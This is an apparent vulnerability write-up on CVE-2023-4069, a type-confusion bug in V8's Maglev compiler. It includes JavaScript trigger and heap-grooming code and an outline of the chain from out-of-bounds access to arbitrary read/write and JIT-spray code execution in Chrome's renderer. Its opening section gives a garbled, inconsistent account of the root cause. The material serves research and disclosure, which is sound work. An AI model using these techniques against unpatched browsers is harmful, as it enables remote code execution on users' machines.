A Type Confusion Bug in Maglev

Maglev, the mid-tier optimizing compiler in V8, builds its optimized code from SSA nodes. The bug in CVE-2023-4069 stems from a problem in the way some nodes are initialized, leaving an object’s type feedback in an incomplete state. Normally, speculative optimizations rely on type feedback collected at runtime. If that feedback is wrong or incomplete, the optimized code may make invalid assumptions about an object's structure.

The Role of Incomplete Object Initialization

Each SSA node in Maglev carries type information. For object literals, the compiler starts by creating an allocation node and then applies properties to it. The bug occurs when an object is allocated and its map (the internal description of its shape) is set, but some property stores are skipped because the compiler's feedback indicates they are not needed. This can happen if the object is created with an "initial" map, but later has its shape stabilized.

The result is an object whose allocated memory layout does not match its internal map. In V8, this leads to unsafe type confusion. If the map claims the object has a certain number of in-object fields, but the allocation only reserved space for fewer fields, subsequent reads and writes may exceed the allocation. This can corrupt adjacent data or cause the engine to interpret a pointer as a raw integer.

Triggering the Bug

To reach the vulnerable state, an attacker needs to craft JavaScript that abuses the Maglev compiler's handling of object literal with a computed property. The computer property may be a constant, or an expression that returns the same value every run, causing the compiler to believe it is always the same key. If the literal has a getter or setter on its prototype, Maglev may inline a property load or store on the newly created object, but the property's location in memory is calculated assuming the final map.

If the object's map changes after the store due to an add of a new property, the stored value may now be interpreted with the offset of the new property, not the original one.

From Type Confusion to Code Execution

By controlling the key of the property store, the attacker can cause a 64-bit integer to be written to an arbitrary offset in the object's memory. If the offset lands on a field that is later used as a pointer, the engine will treat the attacker's integer as a pointer.

Typical exploit steps:

  1. Use the out-of-bounds write to corrupt a typed array's element backing store length.
  2. That yields an arbitrary read/write across the process heap.
  3. From there, overwrite a stored "JIT code" object to point to a RWX page, then write shellcode.

The chain requires precise heap layout control; grouping many objects and triggering garbage collection ensures the target object's memory layout contains the fields to be corrupted. The actual exploit in the source article uses this approach to achieve stable d8 and Chromium shellcode execution.

RCE in the Renderer Sandbox

CVE-2023-4069 is rated as a high severity, type confusion in the Maglev compiler. Exploitation results in remote code execution inside Chrome’s renderer process. Since the renderer runs in a sandbox, an attacker would need a second sandbox escape vulnerability to achieve full system compromise. That said, the vulnerability is triggerable with a single visit to a malicious website.

The fix in version 115.0.5790.170/.171 solves the issue by ensuring the Maglev compiler doesn't generate incorrect code for object literals when the property key is not a constant. The compiler now mitigates the case where a "computed" property key might be a constant but not known to be, and it correctly invalidates the optimized code when a shape change is detected after a previously inlined store.

Advisory

Keep Chrome up-to-date. While sophisticated one-click attacks are rare, V8 engine bugs in the JIT path can be exploited with relatively limited effort. Vendors encourage users to enable automatic updates to reduce the risk from such security patches.

When constructors lie about the object they make

JavaScript’s new operator hides a subtle division of labor. When you write new C(), the function C runs as the constructor, but the object that becomes this inside C is actually created from the prototype of new.target, not from C itself. Usually these are the same function, so the distinction is invisible. The two can diverge, however, when inheritance or Reflect.construct is involved.

function foo() {
  %DebugPrint(new.target);
}
new foo();  // foo
foo();      // undefined

A derived class constructor, for instance, has a different new.target than the function that ultimately initializes the object:


class A {
  constructor() {
    %DebugPrint(new.target);
  }
}

class B extends A {
}

new A();  // A
new B();  // B

The Reflect.construct built-in makes this explicit. Its signature is:


Reflect.construct(target, argumentsList, newTarget)

In the call Reflect.construct(F, args, newTarget), only F is invoked; newTarget merely supplies the prototype for the freshly allocated object. Code that uses this to build a function object confirms the split:


var x = Reflect.construct(Function, [], Array);

Class inheritance behaves the same way, albeit with the derived constructor also running:


class A {}

class B extends A {}

var x = new B();
console.log(x.__proto__ == B.prototype);  //<--- true

When a constructor returns an object, that value wins. Otherwise, V8 falls back to the internally allocated receiver, which is a plain object created before the constructor runs:


function foo() {}
function bar() {}
var x = Reflect.construct(foo, [], bar); //<--- returns object {}, instead of undefined

That default receiver comes from FastNewObject, which consults new.target’s initial_map — the Map that dictates the receiver’s shape and field storage. The choice of using new.target’s map rather than the target’s own map looks odd until you consider an optimization. V8 caches a copy of the target’s initial_map inside new.target’s initial_map, but with new.target’s prototype installed. A guard inside FastNewObject verifies that the cached map’s constructor field still points at the actual target function:


TNode ConstructorBuiltinsAssembler::FastNewObject(
    TNode context, TNode target,
    TNode new_target, Label* call_runtime) {
  // Verify that the new target is a JSFunction.
  Label end(this);
  TNode new_target_func =
      HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
  ...
  GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE),
         call_runtime);
  TNode initial_map = CAST(initial_map_or_proto);
  TNode

If that check fails, V8 falls back to the runtime, where JSObject::New and FastInitializeDerivedMap rebuild the derived map. The cached map is created only when the target’s constructor field points to a different function, so the invariant is: a non-self-referencing constructor in an initial_map means that map is a copy of the constructor’s own map, adjusted for new.target’s prototype.

A fast path that skips the guard

Most derived classes have trivial default constructors that do nothing to the receiver. V8’s bytecode FindNonDefaultConstructorOrConstruct exists to skip those no-ops entirely. When the whole chain collapses to the base constructor, V8 can allocate the receiver directly with FastNewObject and jump to the base constructor without ever entering the intermediate derived functions.


class A {}
class B extends A {}
new B();

Maglev’s lowering of that bytecode, however, takes a shortcut. When it decides that all intermediate constructors are skippable and new.target is a compile-time constant, it substitutes BuildAllocateFastObject for FastNewObject:


ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {
  ...
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);
  BuildStoreReceiverMap(allocation, object.map);  // new_target.initial_map
  ...
  return allocation;
}

Unlike the runtime path, BuildAllocateFastObject does not verify that the initial_map’s constructor field matches the actual target. That omission is the bug.

The practical consequence is visible with a mismatch:


class A {}
class B extends A {}
var x = Reflect.construct(B, [], Array);

Here Array is new.target and B is the target that runs. If the receiver is allocated with Array’s initial_map, the object truly is an Array. The routine B, however, does not initialize the array’s length field or its backing store. The resulting Array has a length read from whatever garbage occupies that heap slot at allocation time.

The catch is that FindNonDefaultConstructorOrConstruct only takes this fast path when new.target is a known constant. In a normal Reflect.construct(B, [], Array) call, Array is passed as an argument and is not inherently constant. The way around this lies in TryGetConstant, which treats a value as constant not only when it is a literal, but also when prior checks have already bound it to a specific global:


compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
    ValueNode* node, ValueNode** constant_node) {
  if (auto result = TryGetConstant(broker(), local_isolate(), node)) {  //<--- 1.
    if (constant_node) *constant_node = node;
    return result;
  }
  const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);      //is_constant()) {
    if (constant_node) *constant_node = info->constant_alternative;
    return TryGetConstant(info->constant_alternative);
  }
  return {};
}

Storing new.target into an unchanged global variable makes Maglev insert a CheckValue node that pins the value to that global constant. With that in place, the optimizer sees new.target as a constant even though it arrives via Reflect.construct:


class A {}

var x = Array;

class B extends A {
  constructor() {
    x = new.target;  //<--- insert CheckValue node to cache new.target as constant (Array)
    super();
  }
}

Reflect.construct(B, [], Array); //<--- Calls `B` as `target` and `Array` as `new_target`

Exploiting this requires some heap grooming. Freshly zeroed free memory tends to produce an uninitialized length of 0 after a garbage collection. By allocating and then discarding objects of a known size, then triggering GC at the right moment, an attacker can influence what lands in that uninitialized slot. Crude trial-and-error works in practice:


//----- Create incorrect Maglev code ------
var x = Array;

class B extends A {
  constructor() {
    x = new.target;
    super();
  }
}
function construct() {
  var r = Reflect.construct(B, [], x);
  return r;
}
//Compile optimize code
for (let i = 0; i < 2000; i++) construct();
//-----------------------------------------
//Trigger garbage collection to fill the free space of the heap
new ArrayBuffer(gcSize);
new ArrayBuffer(gcSize);

corruptedArr = construct();  // length of corruptedArr is 0, try again...
corruptedArr = construct();  // length of corruptedArr takes the pointer of an object, which gives a large value

The resulting object is a JavaScript Array whose length is attacker-controlled but whose backing store was never allocated. That combination normally provides out-of-bounds read and write relative to the array’s buffer. In this particular case, however, gaining code execution is not as straightforward as a typical OOB array exploit, because the uninitialized field does not point at a legitimate backing store. Additional steps are needed to turn the corrupted length into a fully controlled memory corruption primitive.

Turning the Bug into a Read/Write Primitive

The Array produced by the bug is empty, so its backing store points to empty_fixed_array. This is a problem for exploitation: empty_fixed_array lives in a read-only region of the v8 heap, and an out-of-bounds (OOB) access will simply crash if the write does not extend past the entire read-only region.


DebugPrint: 0x10560004d5e5: [JSArray]
 - map: 0x10560018ed39  [FastProperties]
 - prototype: 0x10560018e799 
 - elements: 0x105600000219  [HOLEY_SMI_ELEMENTS]   //<------- address of empty_fixed_array
 ...

What saves the exploit is pointer compression. The lower 32 bits of empty_fixed_array's address are only 0x219, and v8 stores most heap references as these compressed 32-bit values while keeping the upper half in a register. Because the address is so small, essentially all other v8 objects live at higher addresses. A sufficiently large OOB index into the buggy array can therefore reach any v8 object allocated after empty_fixed_array.

The practical challenge is locating specific objects. Blindly scanning through memory behind empty_fixed_array is possible but risky, since invalid object reads could crash the process. The key insight is that v8 object addresses are largely deterministic for a given Chrome version. As detailed in a POC2022 talk, addresses can be predicted before garbage collection; what is more surprising is that they remain predictable across garbage collections. Objects created after a GC consistently land at the same or nearly the same address between runs.


//Triggers garbage collection
new ArrayBuffer(gcSize);
new ArrayBuffer(gcSize);

corruptedArr = construct();
corruptedArr = construct();

var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5];  //<---- address remains consisten across runs

That determinism gives a starting point: after creating a double array oobDblArr post-GC, the buggy array (here, corruptedArr) can be used to search the vicinity of that predicted address. Once found, the length of oobDblArr can be corrupted, turning it into an OOB read/write primitive. From there, the exploitation chain follows a familiar pattern:

  1. Place an object array oobObjArr after oobDblArr and use the OOB read to leak the addresses of objects stored in it, providing address disclosure for any v8 object.
  2. Place a second double array oobDblArr2 after oobDblArr. Use the OOB write to overwrite the element field of oobDblArr2 with a chosen object address, turning element access on oobDblArr2 into arbitrary read/write within the v8 heap.
  3. The v8 heap sandbox blocks the old technique of overwriting the RWX pages holding WebAssembly code. JIT spraying bypasses this: a Function object stores a pointer to its JIT-compiled code. Using the heap read/write primitives to alter that pointer causes execution to jump into the middle of the JIT code, where floating-point data from a double array can be interpreted as instructions.

The full exploit is available with setup notes.

Root Cause

Chrome's tiered compilation model means the same feature is frequently reimplemented for each optimization level, with different constraints in each. When porting a routine that depends on subtle preconditions, it is easy to lose an invariant. In this case, the Maglev implementation of FindNonDefaultConstructorOrConstruct omitted a check that the TurboFan version preserved, allowing the incomplete object initialization that leads to the bug.